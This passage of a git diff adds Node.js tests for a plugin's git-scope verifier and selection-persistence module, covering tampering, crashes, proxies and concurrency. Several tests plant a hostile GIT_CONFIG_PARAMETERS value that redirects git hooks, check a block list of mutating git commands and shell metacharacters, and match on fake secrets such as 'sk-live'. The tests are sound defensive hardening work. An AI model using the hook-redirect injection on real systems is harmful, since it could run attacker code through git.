assert.equal(ids.includes('scope-mismatch'), true); +}); + +test('read-only assignments with no candidate mutations verify', async (t) => { + const repo = await createReadOnlyUnchangedRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.path_count, 0); + assert.equal(result.observation.dirty, false); + assert.equal(result.facts[0].method, 'read_only_no_changes'); + assert.equal(result.facts[0].payload.path_count, 0); + assert.equal(result.facts[1].method, 'merge_commit_absence'); +}); + +test('read-only assignments reject candidate mutations', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('read-only-mutation'), true); + assert.equal(result.observation.path_count >= 1, true); +}); + +test('NFC Unicode paths in scope verify without reflecting the bytes', async (t) => { + const repo = await createUnicodeNfcRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.path_count >= 1, true); + assert.equal(JSON.stringify(result).includes(repo.extra.path), false); +}); + +test('tracked index mutations join the content-free path set', async (t) => { + const repo = await createStagedUntrackedMixRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.dirty, true); + assert.equal(result.observation.path_count >= 2, true); +}); + +test('untracked in-scope files join ownership without leaking names', async (t) => { + const repo = await createUntrackedInScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.dirty, true); + assert.equal(JSON.stringify(result).includes('scratch.txt'), false); +}); + +test('git runs as argv without shell and with a closed environment', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const calls = []; + const previousGitDir = process.env.GIT_DIR; + const previousConfig = process.env.GIT_CONFIG_PARAMETERS; + process.env.GIT_DIR = '/tmp/hostile-git-dir'; + process.env.GIT_CONFIG_PARAMETERS = "'core.hooksPath=/tmp/hooks'"; + try { + const result = await verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + calls.push({ command, args, options }); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); + } finally { + if (previousGitDir === undefined) delete process.env.GIT_DIR; + else process.env.GIT_DIR = previousGitDir; + if (previousConfig === undefined) delete process.env.GIT_CONFIG_PARAMETERS; + else process.env.GIT_CONFIG_PARAMETERS = previousConfig; + } + assert.ok(calls.length > 0); + const mutating = new Set([ + 'add', 'am', 'apply', 'checkout', 'cherry-pick', 'clean', 'clone', 'commit', + 'fetch', 'init', 'merge', 'pull', 'push', 'rebase', 'replace', 'reset', + 'revert', 'rm', 'stash', 'tag', 'update-index', 'worktree', + ]); + for (const call of calls) { + assert.equal(call.command, GIT_EXECUTABLE); + assert.equal(call.options.cwd, '/'); + assert.equal(call.options.env, GIT_CLOSED_ENV); + assert.equal(call.options.env.GIT_CONFIG_NOSYSTEM, '1'); + assert.equal(call.options.env.GIT_CONFIG_GLOBAL, '/dev/null'); + assert.equal(call.options.env.GIT_CONFIG_SYSTEM, '/dev/null'); + assert.equal(call.options.env.GIT_ALLOW_PROTOCOL, ''); + assert.equal(call.options.env.GIT_PROTOCOL_FROM_USER, '0'); + assert.equal(Object.hasOwn(call.options.env, 'GIT_DIR'), false); + assert.equal(call.options.shell, undefined); + assert.equal(Array.isArray(call.args), true); + assert.equal(call.args.some((arg) => arg.includes('&&') || arg.includes('|') || arg.includes(';')), false); + const command = gitCommandOf(call.args); + assert.equal(mutating.has(command), false, command); + } +}); + +test('independent repositories verify concurrently without sharing observation', async (t) => { + const left = await createInScopeWriterRepo(); + const right = await createInScopeWriterRepo(); + t.after(() => Promise.all([left.cleanup(), right.cleanup()])); + const [leftIdentity, rightIdentity] = await Promise.all([ + identityOf(left), identityOf(right), + ]); + const [leftResult, rightResult] = await Promise.all([ + verifyScopeV1(scopeRequest(left, leftIdentity)), + verifyScopeV1(scopeRequest(right, rightIdentity)), + ]); + assert.equal(leftResult.status, 'verified'); + assert.equal(rightResult.status, 'verified'); + assert.equal(leftResult.observation.repository_path, left.path); + assert.equal(rightResult.observation.repository_path, right.path); + assert.notEqual(left.headSha, right.headSha); + assert.notEqual(leftResult.facts[0].payload.path_set_digest, undefined); +}); + +test('facts and discrepancies stay content-free and re-parse as P13 snapshots', async (t) => { + const repo = await createOutOfScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + const blob = JSON.stringify(result); + assert.equal(blob.includes('secret.txt'), false); + assert.equal(blob.includes(repo.path), true); + for (const fact of result.facts) parseVerifiedFactV1({ ...fact }); + for (const discrepancy of result.discrepancies) { + parseEvidenceDiscrepancyV1({ ...discrepancy }); + assert.equal(discrepancy.claim_ids.length, 0); + } + assert.equal(BASE_REF.startsWith('refs/heads/'), true); + assert.equal(ASSIGNMENT_ID, 'lane-writer'); + assert.equal(RUN_ID.startsWith('run-'), true); +}); diff --git a/plugins/codex-co-engineer/test/r1-selection-persistence-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-selection-persistence-adversarial.test.mjs new file mode 100644 index 0000000..651c33b --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-selection-persistence-adversarial.test.mjs @@ -0,0 +1,280 @@ +import assert from 'node:assert/strict'; +import { readFile, rename, rm, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; +import { types as utilTypes } from 'node:util'; + +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + acceptSelectionReply, + persistSelectionQuestionBatch, +} from '../mcp/v3/selection-persistence.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + P27_RUN_ID, + completeAnswers, + derivedRequest, + structuredReply, + withSubmittedAnchor, + wrapAnchor, + writer, +} from './fixtures/r1-selection-persistence-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(JSON.stringify(error), /ATTACKER-SECRET/u); +} + +test('proxies accessors symbols sparse arrays and cycles fail closed with zero traps', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + const optionsProxy = countingProxy({ anchor, ...inputs }); + const proxied = await errorOf(() => persistSelectionQuestionBatch(optionsProxy.proxy)); + assert.equal(proxied.code, 'proxy_denied'); + assert.equal(trapTotal(optionsProxy.counts), 0); + + const availabilityProxy = countingProxy(inputs.availability); + const availabilityDenied = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + availability: availabilityProxy.proxy, + })); + assert.equal(availabilityDenied.code, 'proxy_denied'); + assert.equal(trapTotal(availabilityProxy.counts), 0); + + let reads = 0; + const accessed = structuredClone(inputs.manifest); + Object.defineProperty(accessed, 'run_id', { + enumerable: true, + get() { + reads += 1; + return 'ATTACKER-SECRET'; + }, + }); + const accessor = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + manifest: accessed, + })); + assert.equal(accessor.code, 'accessor_property_denied'); + assert.equal(reads, 0); + assertNoSecret(accessor); + + const symbolic = { ...inputs, [Symbol('secret')]: 'ATTACKER-SECRET' }; + const symbolError = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...symbolic, + })); + assert.ok(['unknown_key', 'symbol_key_denied'].includes(symbolError.code), symbolError.code); + + const cyclic = structuredClone(inputs.manifest); + cyclic.self = cyclic; + const cycle = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + manifest: cyclic, + })); + assert.equal(cycle.code, 'aliased_reference_denied'); + + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const sparse = []; + sparse[1] = { assignment_id: 'lane-0', provider: 'grok', model: 'grok-4' }; + const sparseError = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, sparse), + })); + assert.ok([ + 'non_enumerable_property_denied', + 'invalid_type', + 'invalid_array', + 'selection_answers_rejected', + 'invalid_json_type', + ].includes(sparseError.code), sparseError.code); + + const { proxy, revoke } = Proxy.revocable(inputs.manifest, { + get() { throw new Error('revoked get'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const revoked = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + manifest: proxy, + })); + assert.equal(revoked.code, 'proxy_denied'); + }); +}); + +test('oversized answers stale snapshots and model_only scope violations fail closed', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const before = await anchor.getCoordination(P27_RUN_ID); + + const oversized = completeAnswers(derived.request); + for (let index = 0; index < 64; index += 1) { + oversized.push({ + assignment_id: `overflow-${index}`, + provider: 'grok', + model: 'grok-4', + }); + } + const overflow = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, oversized), + })); + assert.equal(overflow.code, 'selection_answers_rejected'); + + const staleAvailability = structuredClone(inputs.availability); + staleAvailability.providers.dsh.status = 'unavailable'; + const stale = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + availability: staleAvailability, + reply: structuredReply(derived.request), + })); + assert.ok(['stale_selection_request', 'selection_snapshot_mismatch'].includes(stale.code), + stale.code); + + const after = await anchor.getCoordination(P27_RUN_ID); + assert.equal(after.state_digest, before.state_digest); + }); + + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + assert.equal(derived.request.questions[0].answer_scope, 'model_only'); + const withProvider = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, [ + { assignment_id: 'lane-0', provider: 'grok', model: 'grok-4' }, + ]), + })); + assert.equal(withProvider.code, 'selection_answers_rejected'); + const ok = await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, [ + { assignment_id: 'lane-0', model: 'grok-4' }, + ]), + }); + assert.equal(ok.created, true); + assert.equal(ok.plan.assignments[0].provider, 'grok'); + }, { + runId: 'p27-model-only-run', + assignments: [writer('lane-0', ['src/lane-0/**'], { provider: 'grok', model: 'not-offered' })], + }); +}); + +test('tampered request and reply records are detected by the accepted R24A anchor', async () => { + await withSubmittedAnchor(async ({ root, anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const requestPath = path.join(root, 'runs', P27_RUN_ID, 'selection-request.record.json'); + const honest = await readFile(requestPath); + const parsed = JSON.parse(honest.toString('utf8').trim()); + parsed.objective = 'ATTACKER-SECRET'; + await writeFile(requestPath, `${canonicalJsonStringify(parsed)}\n`); + const tampered = await errorOf(() => persistSelectionQuestionBatch({ anchor, ...inputs })); + assert.ok([ + 'aggregate_run_record_corruption', + 'unknown_selection_request_key', + 'invalid_selection_request', + ].includes(tampered.code), tampered.code); + assertNoSecret(tampered); + await writeFile(requestPath, honest); + + const derived = derivedRequest(inputs); + await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + }); + const replyPath = path.join(root, 'runs', P27_RUN_ID, 'selection-reply.record.json'); + const honestReply = await readFile(replyPath); + const replyParsed = JSON.parse(honestReply.toString('utf8').trim()); + replyParsed.answers[0].model = 'ATTACKER-SECRET'; + await writeFile(replyPath, `${canonicalJsonStringify(replyParsed)}\n`); + const replyTamper = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + })); + assert.ok(typeof replyTamper.code === 'string'); + assertNoSecret(replyTamper); + }); +}); + +test('run and root swaps fail closed without leaking the foreign path', async () => { + await withSubmittedAnchor(async ({ root, anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const moved = `${root}.moved`; + await rename(root, moved); + const swapped = await errorOf(() => persistSelectionQuestionBatch({ anchor, ...inputs })); + assert.ok(typeof swapped.code === 'string'); + assertNoSecret(swapped); + assert.doesNotMatch(swapped.message, new RegExp(moved.replace(/[.*+?^${}()|[\]\\]/gu, '\\$&'), 'u')); + await rename(moved, root); + }); +}); + +test('failure injection before reply commit plus restart does not create a second batch', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const wrapped = wrapAnchor(anchor, { + beforeCommitResolution: async () => { + throw new RunContractV1Error('injected_before_resolution', 'commit', 'injected before reply'); + }, + }); + const injected = await errorOf(() => acceptSelectionReply({ + anchor: wrapped, + ...inputs, + reply: structuredReply(derived.request), + })); + assert.equal(injected.code, 'injected_before_resolution'); + const coordination = await anchor.getCoordination(P27_RUN_ID); + assert.equal(coordination.phase, 'awaiting_selection'); + assert.equal(coordination.revision, 1); + const completed = await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + }); + assert.equal(completed.created, true); + assert.equal(completed.disposition, 'resolution_ready'); + }); +}); + +test('the facade imports no provider workspace supervisor server or dispatch surfaces', async () => { + const source = await readFile( + fileURLToPath(new URL('../mcp/v3/selection-persistence.mjs', import.meta.url)), + 'utf8', + ); + assert.doesNotMatch(source, /from '\.\/supervisor\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/server\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/acp-worker\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/cursor-cloud-worker\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/task-store\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/run-store\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/run-reducer\.mjs'/u); + assert.doesNotMatch(source, /commitResolvedPlan\(/u); + assert.match(source, /commitSelectionRequest/u); + assert.match(source, /commitSelectionResolution/u); + assert.match(source, /bindAggregateResolution/u); + assert.match(source, /no_selection_required/u); +}); diff --git a/plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs b/plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs new file mode 100644 index 0000000..5a6340e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs @@ -0,0 +1,479 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { lstat, readFile, readdir, rm } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + initializeAggregateRunAnchorRoot, + openAggregateRunAnchor, +} from '../mcp/v3/aggregate-run-anchor.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + SELECTION_QUESTION_BATCH_RECEIPT_SCHEMA_ID, + SELECTION_REPLY_RECEIPT_SCHEMA_ID, + acceptSelectionReply, + persistSelectionQuestionBatch, +} from '../mcp/v3/selection-persistence.mjs'; +import { + P27_RUN_ID, + completeAnswers, + derivedRequest, + makePersistenceInputs, + makePrivateRoot, + makeSubmitInput, + structuredReply, + wrapAnchor, + withSubmittedAnchor, +} from './fixtures/r1-selection-persistence-fixtures.mjs'; + +const WORKER = fileURLToPath(new URL('./fixtures/r1-selection-persistence-worker.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +function assertNoLeak(value) { + const text = canonicalJsonStringify(value); + assert.doesNotMatch(text, /\/tmp\//u); + assert.doesNotMatch(text, /repository_path/u); + assert.doesNotMatch(text, /sk-live/u); + assert.doesNotMatch(text, /ATTACKER-SECRET/u); + assert.doesNotMatch(text, /Review lane/u); +} + +test('persist derives the exact P05 batch at submitted@0 and returns a detached receipt', async () => { + await withSubmittedAnchor(async ({ root, anchor, inputs }) => { + const expected = derivedRequest(inputs); + const receipt = await persistSelectionQuestionBatch({ anchor, ...inputs }); + assert.equal(receipt.schema, SELECTION_QUESTION_BATCH_RECEIPT_SCHEMA_ID); + assert.equal(receipt.created, true); + assert.equal(receipt.disposition, 'awaiting_selection'); + assert.equal(receipt.run_id, P27_RUN_ID); + assert.equal(receipt.request_id, expected.identity.request_id); + assert.equal(receipt.digest, expected.identity.digest); + assert.equal(receipt.question_count, expected.request.question_count); + assert.equal(receipt.coordination.revision, 1); + assert.equal( + canonicalJsonStringify(receipt.selection_request), + canonicalJsonStringify(expected.request), + ); + assert.deepEqual( + receipt.selection_request.questions.map((question) => question.assignment_id), + expected.request.questions.map((question) => question.assignment_id), + ); + assertFrozenTree(receipt); + assertNoLeak(receipt); + + const coordination = await anchor.getCoordination(P27_RUN_ID); + assert.equal(coordination.phase, 'awaiting_selection'); + assert.equal(coordination.revision, 1); + assert.equal(coordination.selection_request_binding.request_id, expected.identity.request_id); + assert.equal(coordination.selection_request_binding.digest, expected.identity.digest); + + const recordPath = path.join(root, 'runs', P27_RUN_ID, 'selection-request.record.json'); + const stored = JSON.parse((await readFile(recordPath, 'utf8')).trim()); + assert.equal(canonicalJsonStringify(stored), canonicalJsonStringify(expected.request)); + assert.equal(typeof receipt.selection_request.questions[0].prompt, 'undefined'); + }); +}); + +test('exact persist replay is created false with byte-identical questions and no revision growth', async () => { + await withSubmittedAnchor(async ({ root, anchor, inputs }) => { + const first = await persistSelectionQuestionBatch({ anchor, ...inputs }); + const requestStat = await lstat(path.join(root, 'runs', P27_RUN_ID, 'selection-request.record.json')); + const coordStat = await lstat(path.join(root, 'runs', P27_RUN_ID, 'coordination.json')); + const names = (await readdir(path.join(root, 'runs', P27_RUN_ID))).sort(); + + const replay = await persistSelectionQuestionBatch({ anchor, ...inputs }); + assert.equal(replay.created, false); + assert.equal(replay.disposition, 'awaiting_selection'); + assert.equal(replay.digest, first.digest); + assert.equal(canonicalJsonStringify(replay.selection_request), + canonicalJsonStringify(first.selection_request)); + assert.equal(canonicalJsonStringify({ ...replay, created: true }), + canonicalJsonStringify({ ...first, created: true })); + assert.equal(replay.coordination.state_digest, first.coordination.state_digest); + assert.equal(replay.coordination.revision, 1); + + const afterRequest = await lstat(path.join(root, 'runs', P27_RUN_ID, 'selection-request.record.json')); + const afterCoord = await lstat(path.join(root, 'runs', P27_RUN_ID, 'coordination.json')); + assert.equal(afterRequest.ino, requestStat.ino); + assert.equal(afterCoord.ino, coordStat.ino); + assert.deepEqual((await readdir(path.join(root, 'runs', P27_RUN_ID))).sort(), names); + }); +}); + +test('direct-plan and fully resolved runs fail no_selection_required without commitResolvedPlan', async () => { + await withSubmittedAnchor(async ({ anchor }) => { + const complete = makePersistenceInputs({ unresolved: false }); + await anchor.submit(makeSubmitInput(complete)); + let resolvedPlanCalls = 0; + const wrapped = wrapAnchor(anchor, {}); + const original = wrapped.commitResolvedPlan; + wrapped.commitResolvedPlan = async (...args) => { + resolvedPlanCalls += 1; + return original(...args); + }; + const error = await errorOf(() => persistSelectionQuestionBatch({ + anchor: wrapped, + ...complete, + })); + assert.equal(error.code, 'no_selection_required'); + assert.equal(resolvedPlanCalls, 0); + const coordination = await anchor.getCoordination(complete.identity.run_id); + assert.equal(coordination.phase, 'submitted'); + assert.equal(coordination.revision, 0); + assert.equal(coordination.selection_request_binding, null); + }, { runId: 'p27-complete-other' }); +}); + +test('a different or stale manifest or snapshot at the same run fails closed', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const before = await anchor.getCoordination(P27_RUN_ID); + + const mutatedManifest = structuredClone(inputs.manifest); + mutatedManifest.objective = 'A different authored objective.'; + const staleManifest = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + manifest: mutatedManifest, + identity: { + ...inputs.identity, + manifest_digest: inputs.identity.manifest_digest, + }, + })); + assert.equal(staleManifest.code, 'identity_mismatch'); + + const driftedAvailability = structuredClone(inputs.availability); + driftedAvailability.providers.grok.models = ['grok-4', 'grok-4-fast']; + const staleSnapshot = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + availability: driftedAvailability, + })); + assert.equal(staleSnapshot.code, 'stale_selection_request'); + + const after = await anchor.getCoordination(P27_RUN_ID); + assert.equal(after.state_digest, before.state_digest); + assert.equal(after.revision, 1); + assert.equal(after.selection_request_binding.digest, before.selection_request_binding.digest); + }); +}); + +test('persist never generates a second batch and preserves 1- and 8-question order', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + const one = await persistSelectionQuestionBatch({ anchor, ...inputs }); + assert.equal(one.question_count, 1); + assert.deepEqual(one.selection_request.questions.map((question) => question.assignment_id), ['lane-0']); + }); + + await withSubmittedAnchor(async ({ anchor, inputs }) => { + const eight = await persistSelectionQuestionBatch({ anchor, ...inputs }); + assert.equal(eight.question_count, 8); + assert.deepEqual( + eight.selection_request.questions.map((question) => question.assignment_id), + ['lane-0', 'lane-1', 'lane-2', 'lane-3', 'lane-4', 'lane-5', 'lane-6', 'lane-7'], + ); + }, { assignmentCount: 8, runId: 'p27-eight-lane-run' }); +}); + +test('persist crash before commit leaves submitted@0; restart creates the batch once', async () => { + const inputs = makePersistenceInputs(); + const root = await makePrivateRoot('r1-p27-crash-before-'); + try { + const anchor = await initializeAggregateRunAnchorRoot(root); + await anchor.submit(makeSubmitInput(inputs)); + const wrapped = wrapAnchor(anchor, { + beforeCommitRequest: async () => { + throw new RunContractV1Error('injected_before_commit', 'commit', 'injected before persist'); + }, + }); + const injected = await errorOf(() => persistSelectionQuestionBatch({ anchor: wrapped, ...inputs })); + assert.equal(injected.code, 'injected_before_commit'); + const coordination = await anchor.getCoordination(P27_RUN_ID); + assert.equal(coordination.phase, 'submitted'); + assert.equal(coordination.revision, 0); + + const reopened = await openAggregateRunAnchor(root); + const created = await persistSelectionQuestionBatch({ anchor: reopened, ...inputs }); + assert.equal(created.created, true); + assert.equal(created.disposition, 'awaiting_selection'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +function spawnWorker({ root, mode, runId = P27_RUN_ID, assignmentCount = 1 }) { + const child = spawn(process.execPath, [WORKER, root, mode, runId, String(assignmentCount)], { + stdio: ['ignore', 'pipe', 'pipe'], + }); + let stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { stdout += chunk; }); + child.stderr.on('data', (chunk) => { stderr += chunk; }); + const done = new Promise((resolve, reject) => { + child.on('error', reject); + child.on('close', () => { + try { + const line = stdout.trim().split('\n').filter(Boolean).at(-1); + assert.ok(line, `worker produced no JSON (${stderr.trim()})`); + resolve(JSON.parse(line)); + } catch (error) { + reject(error); + } + }); + }); + return { done, child }; +} + +test('acceptSelectionReply persists one complete reply and binds resolution_ready@2', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const receipt = await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + }); + assert.equal(receipt.schema, SELECTION_REPLY_RECEIPT_SCHEMA_ID); + assert.equal(receipt.created, true); + assert.equal(receipt.disposition, 'resolution_ready'); + assert.equal(receipt.coordination.revision, 2); + assert.equal(receipt.plan.complete, true); + assert.equal(receipt.plan.selection_request, null); + assert.equal(receipt.aggregate_binding.phase, 'resolution_ready'); + assert.equal(receipt.aggregate_binding.revision, 2); + assert.equal(receipt.digest, derived.identity.digest); + assertFrozenTree(receipt); + assertNoLeak(receipt); + assert.equal(receipt.plan.assignments[0].provider, 'grok'); + }); +}); + +test('exact reply replay is created false and returns the same completed plan and binding', async () => { + await withSubmittedAnchor(async ({ root, anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const reply = structuredReply(derived.request); + const first = await acceptSelectionReply({ anchor, ...inputs, reply }); + const replyStat = await lstat(path.join(root, 'runs', P27_RUN_ID, 'selection-reply.record.json')); + const planStat = await lstat(path.join(root, 'runs', P27_RUN_ID, 'resolved-plan.record.json')); + + const replay = await acceptSelectionReply({ + anchor, + ...structuredClone(inputs), + reply: structuredClone(reply), + }); + assert.equal(replay.created, false); + assert.equal(replay.disposition, 'resolution_ready'); + assert.equal(canonicalJsonStringify(replay.plan), canonicalJsonStringify(first.plan)); + assert.equal(canonicalJsonStringify(replay.aggregate_binding), + canonicalJsonStringify(first.aggregate_binding)); + assert.equal(replay.coordination.state_digest, first.coordination.state_digest); + assert.equal((await lstat(path.join(root, 'runs', P27_RUN_ID, 'selection-reply.record.json'))).ino, + replyStat.ino); + assert.equal((await lstat(path.join(root, 'runs', P27_RUN_ID, 'resolved-plan.record.json'))).ino, + planStat.ino); + }); +}); + +test('accept does not create a missing question and rejects a different reply after settlement', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + const derived = derivedRequest(inputs); + const missing = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + })); + assert.equal(missing.code, 'selection_not_awaiting'); + const coordination = await anchor.getCoordination(P27_RUN_ID); + assert.equal(coordination.phase, 'submitted'); + assert.equal(coordination.selection_request_binding, null); + + await persistSelectionQuestionBatch({ anchor, ...inputs }); + await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + }); + const settled = await anchor.getCoordination(P27_RUN_ID); + const different = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, completeAnswers(derived.request, 'dsh', 'stealth/ox-alpha')), + })); + assert.ok(['aggregate_run_revision_conflict', 'stale_selection_request'].includes(different.code), + different.code); + const after = await anchor.getCoordination(P27_RUN_ID); + assert.equal(after.state_digest, settled.state_digest); + }); +}); + +test('partial extra duplicate and scoped-invalid answers fail closed with no mutation', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const before = await anchor.getCoordination(P27_RUN_ID); + + const partial = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, []), + })); + assert.equal(partial.code, 'selection_answers_rejected'); + + const extra = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, [ + ...completeAnswers(derived.request), + { assignment_id: 'lane-9', provider: 'grok', model: 'grok-4' }, + ]), + })); + assert.equal(extra.code, 'selection_answers_rejected'); + + const duplicate = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, [ + { assignment_id: 'lane-0', provider: 'grok', model: 'grok-4' }, + { assignment_id: 'lane-0', provider: 'dsh', model: 'stealth/ox-alpha' }, + ]), + })); + assert.equal(duplicate.code, 'selection_answers_rejected'); + + const scoped = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, [ + { assignment_id: 'lane-0', provider: 'unknown', model: 'grok-4' }, + ]), + })); + assert.equal(scoped.code, 'selection_answers_rejected'); + + const after = await anchor.getCoordination(P27_RUN_ID); + assert.equal(after.state_digest, before.state_digest); + assert.equal(after.phase, 'awaiting_selection'); + }); +}); + +test('crash after each commit plus reopen uses only durable R24A records', async () => { + const inputs = makePersistenceInputs(); + const root = await makePrivateRoot('r1-p27-crash-after-'); + try { + const live = await initializeAggregateRunAnchorRoot(root); + await live.submit(makeSubmitInput(inputs)); + const afterRequest = wrapAnchor(live, { + afterCommitRequest: async () => { + throw new RunContractV1Error('injected_after_request', 'commit', 'injected after request'); + }, + }); + const requestInjected = await errorOf(() => persistSelectionQuestionBatch({ + anchor: afterRequest, + ...inputs, + })); + assert.equal(requestInjected.code, 'injected_after_request'); + + const reopened = await openAggregateRunAnchor(root); + const replayed = await persistSelectionQuestionBatch({ anchor: reopened, ...inputs }); + assert.equal(replayed.created, false); + assert.equal(replayed.disposition, 'awaiting_selection'); + + const derived = derivedRequest(inputs); + const afterResolution = wrapAnchor(reopened, { + afterCommitResolution: async () => { + throw new RunContractV1Error('injected_after_resolution', 'commit', 'injected after resolution'); + }, + }); + const resolutionInjected = await errorOf(() => acceptSelectionReply({ + anchor: afterResolution, + ...inputs, + reply: structuredReply(derived.request), + })); + assert.equal(resolutionInjected.code, 'injected_after_resolution'); + + const settled = await openAggregateRunAnchor(root); + const completed = await acceptSelectionReply({ + anchor: settled, + ...inputs, + reply: structuredReply(derived.request), + }); + assert.equal(completed.created, false); + assert.equal(completed.disposition, 'resolution_ready'); + assert.equal(completed.aggregate_binding.revision, 2); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('concurrent identical persist and reply requests converge; different replies have one winner', async () => { + const inputs = makePersistenceInputs({ 